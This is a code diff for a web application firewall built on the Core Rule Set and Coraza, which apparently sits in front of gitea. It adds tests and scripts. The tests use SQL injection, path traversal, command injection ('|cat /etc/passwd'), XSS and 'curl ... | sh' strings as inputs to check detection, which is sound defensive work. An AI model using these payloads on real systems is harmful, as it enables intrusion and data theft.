+// the Core Rule Set what it reads, and returns what it read and the error
+// that ended the reading early, if one did.
+func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
+	if c.bodyLimit == 0 {
+		return nil, nil
+	}
+
+	inPart := false
+	// How the body is read is a variable of the transaction, which only
+	// Coraza's interface for plugins reads.
+	state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
+
+	switch state.Variables().RequestBodyProcessor().Get() {
+	case "URLENCODED", "MULTIPART":
+		inPart = true
+	case "JSON", "XML":
+	default:
+		return nil, nil
+	}
+
+	read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
+
+	if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
+		// Coraza holds what it reads of the body in memory, up to the
+		// limit, so this cannot fail.
+		_, _, _ = tx.WriteRequestBody(read)
+	}
+
+	return read, err
+}
+
+// score returns the anomaly score the Core Rule Set added up in tx, a
+// transaction it has run, or 0 if a rule that adds it up is switched off.
+func score(tx types.Transaction) int {
+	// The score is in a variable of the transaction, which only Coraza's
+	// interface for plugins reads.
+	state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
+
+	values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
+	if len(values) == 0 {
+		return 0
+	}
+
+	n, _ := strconv.Atoi(values[0])
+
+	return n
+}
+
+// withoutCookiesNotRead returns value, a Cookie header's, without the
+// cookies in cookiesNotRead.
+func withoutCookiesNotRead(value string) string {
+	var kept []string
+
+	for cookie := range strings.SplitSeq(value, ";") {
+		name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
+		if !slices.Contains(cookiesNotRead, name) {
+			kept = append(kept, cookie)
+		}
+	}
+
+	return strings.Join(kept, ";")
+}

internal/waf/waf_test.go

@@ -0,0 +1,688 @@
+package waf_test
+
+import (
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"net/url"
+	"path/filepath"
+	"reflect"
+	"strconv"
+	"strings"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+// defaultDisabledRules are the rules SWWAF_WAF_DISABLED_RULES switches off
+// by default.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
+
+// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
+// the rules in disabled switched off.
+func newCoreRuleSet(t *testing.T, level int, disabled ...int) *waf.CoreRuleSet {
+	t.Helper()
+
+	crs, err := waf.New(waf.Params{ParanoiaLevel: level, DisabledRules: disabled})
+	if err != nil {
+		t.Fatalf("load the Core Rule Set: %v", err)
+	}
+
+	return crs
+}
+
+// request is a request a test inspects: its method, its target, the path
+// and the query as a client sends them, and its headers, each written
+// "Name: value".
+type request struct {
+	method, target string
+	headers        []string
+}
+
+// get is a GET request for target with headers.
+func get(target string, headers ...string) request {
+	return request{http.MethodGet, target, headers}
+}
+
+// inspect returns what crs finds in r, sent to git.example by a browser,
+// whose Host, User-Agent and Accept r.headers may replace.
+func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result {
+	t.Helper()
+
+	result, _ := inspectBody(t, crs, r, "")
+
+	return result
+}
+
+// inspectBody is inspect for r with body, which is announced with its
+// Content-Length unless it is "", and returns what crs read of body too.
+func inspectBody(
+	t *testing.T, crs *waf.CoreRuleSet, r request, body string,
+) (waf.Result, string) {
+	t.Helper()
+
+	req := httptest.NewRequestWithContext(t.Context(), r.method,
+		"http://git.example"+r.target, strings.NewReader(body))
+	req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
+		"Gecko/20100101 Firefox/131.0")
+	req.Header.Set("Accept", "text/html")
+
+	if body != "" {
+		req.Header.Set("Content-Length", strconv.Itoa(len(body)))
+	}
+
+	for _, header := range r.headers {
+		// Go's server keeps Host and Transfer-Encoding out of the headers.
+		name, value, _ := strings.Cut(header, ": ")
+		switch name {
+		case "Host":
+			req.Host = value
+		case "Transfer-Encoding":
+			req.TransferEncoding = []string{value}
+		default:
+			req.Header.Set(name, value)
+		}
+	}
+
+	result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
+	if err != nil {
+		t.Fatalf("read the body: %v", err)
+	}
+
+	return result, string(read)
+}
+
+// wantResult checks what crs finds in r.
+func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result) {
+	t.Helper()
+
+	if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
+		t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
+	}
+}
+
+// matched is the result of a request that the rules ids match, each of
+// them a critical one, which adds 5 to the score.
+func matched(ids ...int) waf.Result {
+	const critical = 5
+
+	return waf.Result{RuleIDs: ids, Score: critical * len(ids)}
+}
+
+// atDefaults returns the Core Rule Set as smallwebwaf runs it by default.
+func atDefaults(t *testing.T) *waf.CoreRuleSet {
+	t.Helper()
+
+	return newCoreRuleSet(t, 1, defaultDisabledRules...)
+}
+
+// wantChange checks that crs lets through passes, a gitea request one of
+// the six changes is for, and still finds result in refused, a request
+// like it that the change is not for.
+func wantChange(
+	t *testing.T, crs *waf.CoreRuleSet, passes, refused request, result waf.Result,
+) {
+	t.Helper()
+
+	wantResult(t, crs, passes, waf.Result{})
+	wantResult(t, crs, refused, result)
+}
+
+func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
+	t.Parallel()
+
+	crs := atDefaults(t)
+
+	for _, r := range []request{
+		{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
+		{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
+		{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
+	} {
+		wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
+	}
+
+	wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
+}
+
+func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
+	t.Parallel()
+
+	const (
+		pushType  = "Content-Type: application/x-git-receive-pack-request"
+		fetchType = "Content-Type: application/x-git-upload-pack-request"
+		length    = "Content-Length: 1024"
+		push      = "/owner/repo.git/git-receive-pack"
+		fetch     = "/owner/repo.git/git-upload-pack"
+	)
+
+	crs := atDefaults(t)
+
+	wantResult(t, crs,
+		request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
+		waf.Result{})
+	wantResult(t, crs,
+		request{http.MethodPost, fetch, []string{
+			fetchType, length, "Content-Encoding: gzip",
+		}},
+		waf.Result{})
+
+	// Every other header on the Core Rule Set's list stays refused.
+	for _, header := range []string{
+		"Proxy: http://proxy.example",
+		"Lock-Token: token",
+		"Content-Range: bytes 0-1023/1024",
+		"If: token",
+		"X-HTTP-Method-Override: DELETE",
+		"X-HTTP-Method: DELETE",
+		"X-Method-Override: DELETE",
+		"X-Middleware-Subrequest: middleware",
+	} {
+		wantResult(t, crs,
+			request{http.MethodPost, push, []string{pushType, length, header}},
+			matched(920450))
+	}
+}
+
+func TestTransferEncodingIsRead(t *testing.T) {
+	t.Parallel()
+
+	// git sends a large push in chunks, with no Content-Length. Without
+	// Transfer-Encoding, that would be a POST without a length (920180).
+	wantResult(t, atDefaults(t),
+		request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
+			"Content-Type: application/x-git-receive-pack-request",
+			"Transfer-Encoding: chunked",
+		}},
+		waf.Result{})
+}
+
+func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
+	t.Parallel()
+
+	const attack = "id=1'%20OR%20'1'='1"
+
+	crs := atDefaults(t)
+
+	// Coraza keeps 1000: an attack that is the 1000th is read, and one
+	// after it is not, but the request is a match all the same.
+	wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
+	wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
+
+	// So it is with the fields of a form data or JSON body.
+	crs = readingBodies(t)
+
+	for _, tc := range []struct{ header, body string }{
+		{formData, strings.Repeat("a=1&", 999) + attack},
+		{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
+	} {
+		wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
+	}
+
+	for _, tc := range []struct{ header, body string }{
+		{formData, strings.Repeat("a=1&", 1000) + attack},
+		{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
+	} {
+		wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
+	}
+}
+
+func TestRedirectURIMayNameALocalAddress(t *testing.T) {
+	t.Parallel()
+
+	const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
+
+	crs := atDefaults(t)
+
+	wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
+		get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
+	wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
+		get(oauth+"next=http://localhost:52341/"), matched(934110))
+}
+
+func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
+	t.Parallel()
+
+	crs := atDefaults(t)
+
+	for _, value := range []struct {
+		name string
+		// result is what a parameter that is not one of gitea's gets.
+		result waf.Result
+	}{
+		// A file on the list of system files.
+		{".gitignore", matched(930120)},
+		// A command's name, after a directory on the list of shell paths.
+		{"bin/docker-entrypoint", matched(932260, 932160)},
+	} {
+		for _, parameter := range []string{
+			"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
+			"artifactName", "redirect_to",
+		} {
+			wantChange(t, crs, get("/?"+parameter+"="+value.name),
+				get("/?q="+value.name), value.result)
+		}
+	}
+
+	// What only those rules refuse gets through there too, but path
+	// traversal and SQL injection are still refused.
+	wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
+		matched(930120, 932160))
+	wantResult(t, crs, get("/?path=../../etc/passwd"),
+		waf.Result{RuleIDs: []int{930100, 930110}, Score: 20})
+	wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
+}
+
+func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
+	t.Parallel()
+
+	crs := atDefaults(t)
+
+	wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
+	wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
+		get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
+}
+
+func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
+	t.Parallel()
+
+	const (
+		flash      = "success%3DFile%2Bpackage.json%2Bdeleted"
+		redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
+	)
+
+	crs := atDefaults(t)
+
+	wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
+		get("/owner/repo", "Cookie: flash="+flash), matched(930120))
+	wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
+		get("/", "Cookie: redirect="+redirectTo), matched(930120))
+
+	// Among other cookies, which are read.
+	wantChange(t, crs,
+		get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
+			"; i_like_gitea=abc"),
+		get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
+			"; i_like_gitea=abc"),
+		matched(930120))
+}
+
+func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) {
+	t.Parallel()
+
+	const (
+		search      = "https://git.example/explore/repos?q=env"
+		runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
+			"java.base/share/classes/java/lang/Runtime.java"
+	)
+
+	crs := atDefaults(t)
+
+	wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
+		matched(932340))
+	wantChange(t, crs, get("/", "Referer: "+runtimeJava),
+		get("/", "X-Page: "+runtimeJava), matched(944110))
+
+	// It is still checked for script and SQL injection.
+	wantResult(t, crs,
+		get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
+		matched(941110, 941160))
+	wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
+		matched(942100))
+}
+
+func TestEmptyHeaderIsRead(t *testing.T) {
+	t.Parallel()
+
+	// An empty User-Agent is a notice, which adds 2.
+	wantResult(t, atDefaults(t), get("/", "User-Agent: "),
+		waf.Result{RuleIDs: []int{920330}, Score: 2})
+}
+
+func TestParanoiaLevel(t *testing.T) {
+	t.Parallel()
+
+	// Accept-Charset is refused from paranoia level 2.
+	r := get("/", "Accept-Charset: utf-8")
+
+	wantResult(t, newCoreRuleSet(t, 1), r, waf.Result{})
+	wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
+}
+
+func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
+	t.Parallel()
+
+	// A method not allowed, and a Host that is an IP address, a warning,
+	// which adds 3.
+	r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
+
+	wantResult(t, newCoreRuleSet(t, 1), r,
+		waf.Result{RuleIDs: []int{911100, 920350}, Score: 8})
+	wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{})
+}
+
+// bodyLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies.
+const bodyLimit = 8 << 10
+
+// The Content-Type headers of the kinds of body the Core Rule Set reads.
+const (
+	formData  = "Content-Type: application/x-www-form-urlencoded"
+	multipart = "Content-Type: multipart/form-data; boundary=b"
+	jsonBody  = "Content-Type: application/json"
+	xmlBody   = "Content-Type: application/xml"
+)
+
+// injection is an SQL injection, which rule 942100 matches.
+const injection = "1' OR '1'='1"
+
+// readingBodies returns the Core Rule Set as smallwebwaf runs it by
+// default, but reading bodies up to bodyLimit.
+func readingBodies(t *testing.T) *waf.CoreRuleSet {
+	t.Helper()
+
+	crs, err := waf.New(waf.Params{
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+	})
+	if err != nil {
+		t.Fatalf("load the Core Rule Set: %v", err)
+	}
+
+	return crs
+}
+
+// post is a POST request for / with a body of the type contentType, a
+// Content-Type header, gives, and headers besides.
+func post(contentType string, headers ...string) request {
+	return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
+}
+
+// field is a part of a multipart body: the field name, holding value.
+func field(name, value string) string {
+	return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
+		value + "\r\n"
+}
+
+// end ends a multipart body.
+const end = "--b--\r\n"
+
+// padded returns head and tail with as many a's between them as make n
+// bytes in all.
+func padded(head, tail string, n int) string {
+	return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
+}
+
+// wantBody checks what crs finds in r with body, and that what it read of
+// body is read.
+func wantBody(
+	t *testing.T, crs *waf.CoreRuleSet, r request, body string, want waf.Result,
+	read string,
+) {
+	t.Helper()
+
+	got, gotRead := inspectBody(t, crs, r, body)
+	if !reflect.DeepEqual(got, want) || gotRead != read {
+		t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
+			"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
+			want, len(read))
+	}
+}
+
+func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
+	t.Parallel()
+
+	off, on := atDefaults(t), readingBodies(t)
+
+	for _, tc := range []struct{ header, body string }{
+		{formData, "q=" + url.QueryEscape(injection)},
+		{multipart, field("q", injection) + end},
+		{jsonBody, `{"q":"` + injection + `"}`},
+		{xmlBody, "<q>" + injection + "</q>"},
+	} {
+		wantBody(t, off, post(tc.header), tc.body, waf.Result{}, "")
+		wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
+	}
+}
+
+func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+	pad := strings.Repeat("a", bodyLimit)
+
+	for _, tc := range []struct{ header, attackFirst, attackLast string }{
+		{
+			formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
+			"pad=" + pad + "&q=" + url.QueryEscape(injection),
+		},
+		{
+			multipart, field("q", injection) + field("pad", pad) + end,
+			field("pad", pad) + field("q", injection) + end,
+		},
+	} {
+		wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
+			tc.attackFirst[:bodyLimit+1])
+		wantBody(t, crs, post(tc.header), tc.attackLast, waf.Result{},
+			tc.attackLast[:bodyLimit+1])
+	}
+
+	// To the byte: a system file's path is found when it ends at the limit,
+	// and not when its last letter is past it, which is still read.
+	atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
+	wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
+
+	pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
+	wantBody(t, crs, post(formData), pastLimit, waf.Result{}, pastLimit)
+}
+
+func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	for _, tc := range []struct{ header, head, tail string }{
+		{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
+		{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
+	} {
+		fits := padded(tc.head, tc.tail, bodyLimit)
+		wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
+
+		larger := padded(tc.head, tc.tail, bodyLimit+1)
+		wantBody(t, crs, post(tc.header), larger, waf.Result{}, larger)
+	}
+}
+
+func TestOtherBodiesAreNotRead(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	// Read as form data, which the Core Rule Set does with a body of a type
+	// it does not know, this would be an SQL injection.
+	body := "q=" + url.QueryEscape(injection)
+
+	for _, header := range []string{
+		"Content-Type: application/octet-stream",
+		"Content-Type: text/plain",
+		"Content-Type: application/x-git-receive-pack-request",
+	} {
+		wantBody(t, crs, post(header), body, waf.Result{}, "")
+	}
+}
+
+func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
+	t.Parallel()
+
+	const gzip = "Content-Encoding: gzip"
+
+	crs := readingBodies(t)
+
+	for _, tc := range []struct{ header, body string }{
+		{formData, "a=1"},
+		{multipart, field("a", "1") + end},
+		{jsonBody, `{"a":1}`},
+		{xmlBody, "<a>1</a>"},
+	} {
+		wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
+	}
+
+	// Whatever its size: a JSON body larger than the limit is not read, but
+	// Content-Encoding on it is refused all the same.
+	larger := strings.Repeat("a", bodyLimit+1)
+	wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
+
+	// It is allowed on a body of any other kind, and on every body while no
+	// body is read.
+	fetch := "Content-Type: application/x-git-upload-pack-request"
+	wantBody(t, crs, post(fetch, gzip), "a", waf.Result{}, "")
+	wantBody(t, atDefaults(t), post(formData, gzip), "a", waf.Result{}, "")
+}
+
+func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+	local := url.QueryEscape("http://127.0.0.1:52341/")
+
+	for _, tc := range []struct {
+		body string
+		want waf.Result
+	}{
+		{"path=.gitignore", waf.Result{}},
+		{"q=.gitignore", matched(930120)},
+		{"redirect_uri=" + local, waf.Result{}},
+		{"next=" + local, matched(931100, 934110)},
+	} {
+		wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
+	}
+
+	body := field("path", ".gitignore") + end
+	wantBody(t, crs, post(multipart), body, waf.Result{}, body)
+
+	body = field("q", ".gitignore") + end
+	wantBody(t, crs, post(multipart), body, matched(930120), body)
+
+	// A JSON body's field is named by its path, here json.path, and is
+	// checked.
+	body = `{"path":".gitignore"}`
+	wantBody(t, crs, post(jsonBody), body, matched(930120), body)
+}
+
+func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	// A comment that shows a shell command.
+	const text = "Try `curl -s https://example.org | sh` first."
+
+	comment := "content=" + url.QueryEscape(text)
+	wantBody(t, crs, post(formData), comment, matched(932235), comment)
+
+	// An attachment named like a log file.
+	attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
+		"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
+	wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
+}
+
+func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	for _, tc := range []struct{ contentType, body string }{
+		{"application/atom+xml", "<q>" + injection + "</q>"},
+		{"application/vnd.example+xml", "<q>" + injection + "</q>"},
+		{"application/vnd.example+json", `{"q":"` + injection + `"}`},
+		{"text/json", `{"q":"` + injection + `"}`},
+	} {
+		wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
+			matched(942100), tc.body)
+	}
+}
+
+func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	// An end tag after the root element, past which Coraza reads none of
+	// the body, while an app may still read the attack before it.
+	body := "<q>" + injection + "</q></r>"
+	wantBody(t, crs, post(xmlBody), body, matched(900440), body)
+
+	// The multipart bodies Coraza cannot parse fail its strict checks too:
+	// one whose type names its boundary twice, and one with a part header
+	// that has no colon, before the attack. They do so padded past the
+	// limit too, which cuts them in the padding.
+	noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
+	pad := field("pad", strings.Repeat("a", bodyLimit))
+
+	for _, tc := range []struct{ header, head string }{
+		{multipart + "; boundary=c", ""},
+		{multipart, noColon},
+	} {
+		body = tc.head + field("q", injection) + end
+		wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
+
+		body = tc.head + field("q", injection) + pad + end
+		wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
+			body[:bodyLimit+1])
+	}
+}
+
+func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
+	t.Parallel()
+
+	// The limit falls in the middle of the name of the second part's
+	// header, which Coraza, reading up to the limit, cannot tell from a
+	// header without a colon.
+	cut := "--b\r\nContent-Di"
+	first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
+	body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
+
+	wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
+		body[:bodyLimit+1])
+}
+
+func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+	headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
+
+	// The limit falls between the carriage return and the line feed that
+	// end the second part's header line, and then between those that end
+	// the empty line after it. Coraza, reading up to the limit, takes the
+	// line ending in a lone carriage return for a malformed header.
+	for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
+		first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
+		body := first + field("q", "1") + end
+
+		wantBody(t, crs, post(multipart), body, matched(900440, 900450),
+			body[:bodyLimit+1])
+	}
+}
+
+// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
+// system's temporary directory, for the whole test process.
+func TestCorazaWritesNoFile(t *testing.T) {
+	// The system's temporary directory is one that does not exist, so that
+	// Coraza could write nothing there: built without no_fs_access, it
+	// refuses to load, and could not write a file of a multipart body.
+	t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
+
+	body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
+		"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
+		strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
+	wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
+}
+
+func TestBodyLimitOf1GLoads(t *testing.T) {
+	t.Parallel()
+
+	_, err := waf.New(waf.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
+	if err != nil {
+		t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
+	}
+}

script/build

@@ -1,7 +1,7 @@
 #!/bin/sh
 # script/build: build bin/smallwebwaf on the host, with Go installed, for
 # working on the code by hand. The version it reports comes from git, as
-# in script/docker.
+# in script/docker, and the no_fs_access tag is the Dockerfile's.
 set -eu
 
 SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
@@ -11,7 +11,7 @@ main() {
     cd "$ROOT"
     version="$(git describe --tags --always --dirty 2>/dev/null || true)"
     [ -n "$version" ] || version="unknown"
-    go build -trimpath -ldflags "-X main.Version=$version" \
+    go build -tags no_fs_access -trimpath -ldflags "-X main.Version=$version" \
         -o bin/smallwebwaf ./cmd/smallwebwaf
 }
 

script/example-app

@@ -5,12 +5,15 @@
 # served through smallwebwaf, that a second one in a minute bans the
 # client, that a probe for /.env bans another client, which its next
 # request bans for good, that `sv stop` stops smallwebwaf in order, that
-# `docker stop` stops the container without having to kill it, and that
-# a new container on the same volume still refuses the banned client. The
+# `docker stop` stops the container without having to kill it, that a
+# new container on the same volume still refuses the banned client, that
+# a container with its state files on a new volume mounted at the
+# directory SWWAF_STATE_DIR_FILE names becomes healthy, and that one whose
+# SWWAF_STATE_DIR does not exist logs smallwebwaf's message about it. The
 # containers run with SWWAF_LOOKUP_SOURCE=off, so that no address is sent
-# to GeoJS. The containers, the volume and both images are removed however
-# the script ends. Building the app needs network access, for nixpkgs'
-# binary cache. script/check does not run this.
+# to GeoJS. The containers, the volumes and both images are removed
+# however the script ends. Building the app needs network access, for
+# nixpkgs' binary cache. script/check does not run this.
 set -eu
 
 SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
@@ -23,10 +26,15 @@ IMAGE="$NAME-base"
 APP_IMAGE="$NAME-app"
 CONTAINER="$NAME"
 VOLUME="$NAME-state"
+# The volumes of the container whose state directory SWWAF_STATE_DIR_FILE
+# names: its state files, and the file that names their directory.
+MOVED_VOLUME="$NAME-moved-state"
+SETTINGS_VOLUME="$NAME-settings"
 
 cleanup() {
     docker rm --force "$CONTAINER" >/dev/null 2>&1 || true
-    docker volume rm --force "$VOLUME" >/dev/null 2>&1 || true
+    docker volume rm --force "$VOLUME" "$MOVED_VOLUME" "$SETTINGS_VOLUME" \
+        >/dev/null 2>&1 || true
     docker rmi --force "$APP_IMAGE" "$IMAGE" >/dev/null 2>&1 || true
 }
 
@@ -76,6 +84,27 @@ start_container() {
     address="$(docker port "$CONTAINER" 8080/tcp)"
 }
 
+# start_moved_container: run the app's container with the state files on
+# a new volume at /srv/state, which SWWAF_STATE_DIR_FILE names in a file
+# only the smallwebwaf user can read, as under "Settings given as files"
+# in README.md, and wait until it is healthy. smallwebwaf can write the
+# new volume only once the run script has given it to that user.
+start_moved_container() {
+    docker volume create "$MOVED_VOLUME" >/dev/null
+    docker volume create "$SETTINGS_VOLUME" >/dev/null
+    docker run --rm --volume "$SETTINGS_VOLUME:/settings" \
+        --entrypoint bash "$IMAGE" -c 'echo /srv/state > /settings/state-dir &&
+            chown smallwebwaf:smallwebwaf /settings/state-dir &&
+            chmod 0400 /settings/state-dir'
+    docker run --detach --name "$CONTAINER" \
+        --volume "$MOVED_VOLUME:/srv/state" \
+        --volume "$SETTINGS_VOLUME:/etc/smallwebwaf/settings:ro" \
+        --env SWWAF_STATE_DIR_FILE=/etc/smallwebwaf/settings/state-dir \
+        --env SWWAF_LOOKUP_SOURCE=off \
+        "$APP_IMAGE" >/dev/null
+    wait_for "the health check did not pass" healthy
+}
+
 # refused: a request to the container gets 403, SWWAF_BAN_RESPONSE's
 # default.
 refused() {
@@ -140,6 +169,20 @@ main() {
     wait_for "smallwebwaf logged no request refused under the ban" \
         logged '"action":"banned"'
     echo "example-app: a new container on the same volume keeps the ban"
+
+    docker rm --force "$CONTAINER" >/dev/null
+    start_moved_container
+    echo "example-app: the run script gives the state files' directory named" \
+        "by SWWAF_STATE_DIR_FILE to the smallwebwaf user"
+
+    docker rm --force "$CONTAINER" >/dev/null
+    docker run --detach --name "$CONTAINER" \
+        --env SWWAF_STATE_DIR=/srv/missing \
+        --env SWWAF_LOOKUP_SOURCE=off \
+        "$APP_IMAGE" >/dev/null
+    wait_for "smallwebwaf did not report the missing state directory" \
+        logged "SWWAF_STATE_DIR cannot be written"
+    echo "example-app: smallwebwaf reports a state directory that does not exist"
 }
 
 main "$@"

script/gitea-requests

@@ -0,0 +1,335 @@
+#!/bin/sh
+# script/gitea-requests: build the image and run gitea 1.27.3 behind it,
+# with every setting of smallwebwaf at its default but SWWAF_UPSTREAM_URL,
+# which names gitea's container. Then send through it the gitea requests
+# that reading gitea's source found the Core Rule Set refuses, and a short
+# sample of gitea's ordinary use: signing in, pages of files and commits,
+# a diff, the API, a push, clone and fetch over HTTP, and two container
+# image pushes. Last, print each request smallwebwaf logged, with what it
+# did with it and the ids of the Core Rule Set's rules that matched it.
+# Every request comes from one client, docker's gateway, so more than
+# SWWAF_ERROR_BURST_THRESHOLD, 30, refusals in a minute would ban it, and
+# the requests after would show as banned. The containers, the network,
+# the images and the files the script makes are removed however it ends;
+# gitea's own image stays, as the base images of a build do. It needs
+# network access, and a docker daemon that pushes to a registry on
+# localhost over plain HTTP, as docker does by default. script/check does
+# not run this.
+set -eu
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
+ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
+
+# gitea 1.27.3, 2026-08-29
+GITEA_IMAGE="gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef"
+
+# Named after this run, so that runs in other clones on the same host
